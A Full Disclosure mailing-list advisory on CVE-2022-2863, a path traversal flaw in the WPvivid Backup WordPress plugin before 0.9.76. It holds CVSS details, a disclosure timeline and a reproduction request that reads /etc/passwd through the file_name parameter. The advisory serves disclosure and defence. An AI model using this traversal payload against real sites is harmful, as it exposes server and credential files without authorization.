Wordpress plugin - WPvivid Backup - CVE-2022-2863.

From: Rodolfo Tavares via Fulldisclosure <fulldisclosure () seclists org>
Date: Sun, 2 Oct 2022 12:21:01 -0300

=====[Tempest Security Intelligence - ADV-15/2022
]==========================

Wordpress plugin - WPvivid Backup - Version < 0.9.76

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[Table of Contents]===
 * Overview
 * Detailed description
 * Timeline of disclosure
 * Thanks & Acknowledgements
 * References

=====[Vulnerability
Information]===
 * Class: Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')
 ('Path Traversal') [CWE-22]

 * CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
 * CVSS Base Score 7.2

=====[Overview]==
 * System affected : Wordpress plugin - WPvivid Backup
 * Software Version : Version < 0.9.76
 * Impacts : The plugin WPvivid Backup does not sanitise and validate a
parameter before using it to read the content of a file, allowing high
privilege users to read any file from the web server via a Traversal attack.

=====[Detailed
description]===
 * Steps to reproduce

1 - Authenticated as privilege user, copy the request below, change the
placeholder {{nonce}} with a valid nonce:
 ```

https://example.com/wp-admin/admin-ajax.php?_wpnonce=
 ```

~~~
{{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&f
ile_size=922
 ```

=====[ Timeline of
disclosure]===============================================

11/Aug/2022 - Responsible disclosure was initiated with the vendor.
15/Aug/2022 - WPvivid Support confirmed the issue.
16/Aug/2022 - WPvivid Support fix the issue.
08/Aug/2022 - CVEs was assigned and reserved as CVE-2022-2863.

=====[ Thanks & Acknowledgements]========================================
 * Tempest Security Intelligence [5]

=====[ References ]=====================================================

[1][ [
https://cwe.mitre.org/data/definitions/22.html]|https://cwe.mitre.org/data/definitions/22.h
tml
]]
[2][ [
https://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a]|https://gist.github.com/rod
nt/c6eb8c8237d6ea0583f1f7da139c742a
[3][ [https://www.tempest.com.br|https://www.tempest.com.br/]]
[4][ [
https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-
4dcacaa133e5]|https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]]
]
[5][ [Thanks FXO,ACPM,MFPP]]

=====[ EOF ]===========================================================
--

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
~~~

⬅ By Date ➡ ⬅ By Thread ➡

Current thread:

- **Wordpress plugin - WPvivid Backup - CVE-2022-2863.** *Rodolfo Tavares via Fulldisclosure (Oct 03)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License